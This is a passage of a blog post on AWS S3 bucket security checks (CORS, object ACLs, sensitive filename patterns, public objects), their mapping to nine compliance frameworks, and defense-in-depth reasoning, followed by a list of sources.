&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AwAB8-B3MNFIR5-HlXgMbxw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AwAB8-B3MNFIR5-HlXgMbxw.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  19. CORS Configuration
&lt;/h4&gt;

&lt;p&gt;Cross-Origin Resource Sharing (CORS) controls which domains can access your bucket from a web browser.&lt;/p&gt;

&lt;p&gt;A wildcard CORS origin (&lt;code&gt;**_\*_**&lt;/code&gt;) allows any website to access your bucket’s data through a user’s browser. This enables:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Data theft from authenticated users
&lt;/li&gt;
&lt;li&gt;Cross-site scripting attacks
&lt;/li&gt;
&lt;li&gt;Session hijacking&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you need CORS, specify exactly which origins are allowed.&lt;/p&gt;

&lt;h4&gt;
  
  
  20. Object-Level ACLs
&lt;/h4&gt;

&lt;p&gt;Even if your bucket is private, individual objects can have public ACLs. This happens when someone uploads an object with &lt;code&gt; — acl public-read&lt;/code&gt; or through applications that default to public access.&lt;/p&gt;

&lt;p&gt;One public object in an otherwise secure bucket is still a data leak.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;21. Sensitive Data Pattern Detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Object names themselves can indicate sensitive content:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;customer-ssn-list.csv&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;payment-credit-cards.xlsx&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;database-backup.sql&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;aws-access-keys.txt&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server-private-key.pem&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These files deserve extra scrutiny and protection.&lt;/p&gt;

&lt;h4&gt;
  
  
  22. Public Object Detection
&lt;/h4&gt;

&lt;p&gt;Beyond ACLs, objects can be made public through bucket policies. This check identifies objects that are accessible to anyone on the internet, regardless of how they got that way.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Nine Compliance Frameworks
&lt;/h3&gt;

&lt;p&gt;These 22 checks map to nine major compliance frameworks. Here’s the coverage:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CIS AWS Foundations v3.0.0: 6 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;AWS Foundational Security Best Practices: 11 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;PCI-DSS v4.0: 10 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;HIPAA Security Rule: 7 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;SOC 2 Type II: 12 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;ISO 27001:2022: 7 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;ISO 27017:2015: 7 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;ISO 27018:2019: 4 S3 Controls (100% Coverage)
&lt;/li&gt;
&lt;li&gt;GDPR: 21 S3 Controls (100% Coverage)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let me briefly explain what each framework covers:&lt;/p&gt;

&lt;h4&gt;
  
  
  CIS AWS Foundations Benchmark
&lt;/h4&gt;

&lt;p&gt;The Center for Internet Security (CIS) provides prescriptive security configurations. Their AWS benchmark is considered the industry standard for AWS security baselines. The S3 controls focus on public access prevention, SSL enforcement, MFA delete, and logging.&lt;/p&gt;

&lt;h4&gt;
  
  
  AWS Foundational Security Best Practices (FSBP)
&lt;/h4&gt;

&lt;p&gt;This is AWS’s own security standard, covering what they consider essential security configurations. It’s comprehensive for S3, including access controls, logging, lifecycle management, and access point security.&lt;/p&gt;

&lt;h4&gt;
  
  
  PCI-DSS v4.0
&lt;/h4&gt;

&lt;p&gt;The Payment Card Industry Data Security Standard applies to anyone handling credit card data. The S3 controls ensure cardholder data is encrypted at rest and in transit, access is logged, and unauthorized access is prevented.&lt;/p&gt;

&lt;h4&gt;
  
  
  HIPAA Security Rule
&lt;/h4&gt;

&lt;p&gt;If you handle Protected Health Information (PHI), HIPAA applies. The S3 controls focus on encryption (data protection), access controls (privacy), and logging (audit trails).&lt;/p&gt;

&lt;h4&gt;
  
  
  SOC 2 Type II
&lt;/h4&gt;

&lt;p&gt;SOC 2 is a flexible framework based on Trust Service Criteria. The Security criteria is mandatory; Availability, Confidentiality, Processing Integrity, and Privacy are optional based on your business needs. S3 controls support all five criteria.&lt;/p&gt;

&lt;h4&gt;
  
  
  ISO 27001/27017/27018
&lt;/h4&gt;

&lt;p&gt;These international standards cover information security management (27001), cloud-specific security (27017), and PII protection in cloud (27018). Together they provide comprehensive coverage for organizations operating globally.&lt;/p&gt;

&lt;h4&gt;
  
  
  GDPR
&lt;/h4&gt;

&lt;p&gt;The General Data Protection Regulation has specific requirements for personal data of EU residents. S3 controls support encryption, access control, data minimization, retention management, and data residency requirements.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense in Depth: Why All 22 Checks Matter
&lt;/h3&gt;

&lt;p&gt;No single security control is perfect. Defense in depth means implementing multiple overlapping controls so that if one fails, others still protect you.&lt;/p&gt;

&lt;p&gt;Consider this attack scenario:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker discovers a bucket name from a CNAME record ( &lt;strong&gt;DNS check would catch this&lt;/strong&gt; )
&lt;/li&gt;
&lt;li&gt;Public Access Block isn’t fully configured ( &lt;strong&gt;Access control check would catch this&lt;/strong&gt; )
&lt;/li&gt;
&lt;li&gt;Bucket policy allows public read ( &lt;strong&gt;Policy analysis would catch this&lt;/strong&gt; )
&lt;/li&gt;
&lt;li&gt;Data isn’t encrypted ( &lt;strong&gt;Encryption check would catch this&lt;/strong&gt; )
&lt;/li&gt;
&lt;li&gt;No logging is enabled ( &lt;strong&gt;Logging check would catch this&lt;/strong&gt; )&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you had any one of these checks in place, you’d either prevent the breach or at least detect it. With all of them, you have multiple layers of protection.&lt;/p&gt;

&lt;h3&gt;
  
  
  The High-Risk Combinations
&lt;/h3&gt;

&lt;p&gt;Some combinations of missing controls are particularly dangerous:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Public Access + No Encryption + No Logging&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This is the nightmare scenario. Data is exposed, readable by anyone, and you have no way to know what was accessed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Takeover + Trusted Domain&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Attackers can serve phishing pages on your legitimate domain. Users trust the URL because it’s really your domain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No Versioning + No Replication + Weak Access Controls&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Ransomware can permanently destroy all your data with no possibility of recovery.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Permissive CORS + Public Objects + Sensitive Data&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Users visiting malicious websites unknowingly leak your data through their browsers.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s Next
&lt;/h3&gt;

&lt;p&gt;Now you understand what needs to be checked and why. But manually verifying 22 security checks across dozens or hundreds of buckets isn’t practical.&lt;/p&gt;

&lt;p&gt;In Part 3, I’ll introduce a tool I built to automate these checks — the S3 Security Scanner. It performs all 22 checks, maps findings to all nine compliance frameworks, and identifies DNS takeover vulnerabilities. I’ll explain how it works and how to use it.&lt;/p&gt;

&lt;p&gt;And in Part 4, we’ll cover step-by-step remediation for every issue, with practical examples in AWS Console, CLI, and Python.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.cisecurity.org/benchmark/amazon_web_services" rel="noopener noreferrer"&gt;CIS AWS Foundations Benchmark&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/securityhub/latest/userguide/cis-aws-foundations-benchmark.html" rel="noopener noreferrer"&gt;AWS Security Hub — CIS Standard&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/securityhub/latest/userguide/fsbp-standard.html" rel="noopener noreferrer"&gt;AWS Foundational Security Best Practices Standard&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/securityhub/latest/userguide/s3-controls.html" rel="noopener noreferrer"&gt;AWS Security Hub S3 Controls Reference&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://d1.awsstatic.com/whitepapers/compliance/pci-dss-compliance-on-aws-v4-102023.pdf" rel="noopener noreferrer"&gt;AWS PCI DSS v4.0 Compliance Whitepaper&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/config/latest/developerguide/operational-best-practices-for-pci-dss-v4-including-global-resource-types.html" rel="noopener noreferrer"&gt;AWS Config — PCI DSS v4.0 Best Practices&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/config/latest/developerguide/operational-best-practices-for-hipaa_security.html" rel="noopener noreferrer"&gt;AWS HIPAA Security Rule Conformance Pack&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.aicpa-cima.com/topic/audit-assurance/audit-and-assurance-greater-than-soc-2" rel="noopener noreferrer"&gt;AICPA SOC 2 Trust Services Criteria&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.iso.org/standard/27001" rel="noopener noreferrer"&gt;ISO/IEC 27001:2022 Information Security Management&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.iso.org/standard/43757.html" rel="noopener noreferrer"&gt;ISO/IEC 27017:2015 Cloud Security Guidelines&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://aws.amazon.com/compliance/iso-27017-faqs/" rel="noopener noreferrer"&gt;AWS ISO 27017 FAQ&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.iso.org/standard/76559.html" rel="noopener noreferrer"&gt;ISO/IEC 27018:2019 PII Protection in Cloud&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng" rel="noopener noreferrer"&gt;GDPR Official Text (EUR-Lex)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://gdpr-info.eu/art-32-gdpr/" rel="noopener noreferrer"&gt;GDPR Article 32 — Security of Processing&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html" rel="noopener noreferrer"&gt;AWS S3 Security Best Practices&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html" rel="noopener noreferrer"&gt;AWS S3 Block Public Access&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/serv-side-encryption.html" rel="noopener noreferrer"&gt;AWS S3 Server-Side Encryption&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html" rel="noopener noreferrer"&gt;AWS S3 Object Lock&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.aws.amazon.com/guardduty/latest/ug/s3-protection.html" rel="noopener noreferrer"&gt;AWS GuardDuty S3 Protection&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/macie/latest/user/what-is-macie.html" rel="noopener noreferrer"&gt;Amazon Macie — Sensitive Data Discovery&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>informationsecurity</category>
      <category>security</category>
      <category>aws</category>
      <category>awss3</category>
    </item>
  </channel>
</rss>
